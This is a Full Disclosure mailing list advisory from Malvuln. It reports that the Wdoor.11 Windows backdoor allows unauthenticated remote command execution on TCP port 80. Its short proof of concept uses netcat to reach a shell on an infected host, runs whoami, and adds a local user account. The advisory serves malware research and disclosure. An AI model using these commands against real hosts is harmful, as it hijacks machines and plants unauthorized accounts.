full-disclosure - [FD] Backdoor.Win32.Wdoor.11 / Unauthenticated Remote Command Execution

Open Source and information security mailing list archives

Date: Tue, 8 Feb 2022 22:13:58 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Wdoor.11 / Unauthenticated Remote Command
	Execution

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/55822613e0d0f437f3ebe5c7f4155452.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wdoor.11
Vulnerability: Unauthenticated Remote Command Execution
Description: Wdoor by F-king listens on TCP port 80. Third-party attackers
who can reach the system can run any OS commands hijacking the infected
host.
Type: PE32
MD5: 55822613e0d0f437f3ebe5c7f4155452
Vuln ID: MVID-2022-0483
Disclosure: 02/08/2022

Exploit/PoC:
nc64.exe x.x.x.x 80
Get Shell ok!

C:\Users\Victim\Desktop>whoami
whoami
desktop-2c3iqho\victim

C:\Users\Victim\Desktop>net user HYP3RLINX 666 /add
net user HYP3RLINX 666 /add
The command completed successfully.

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Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
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vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
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handling or the downloading of ANY Malware mentioned on this website or
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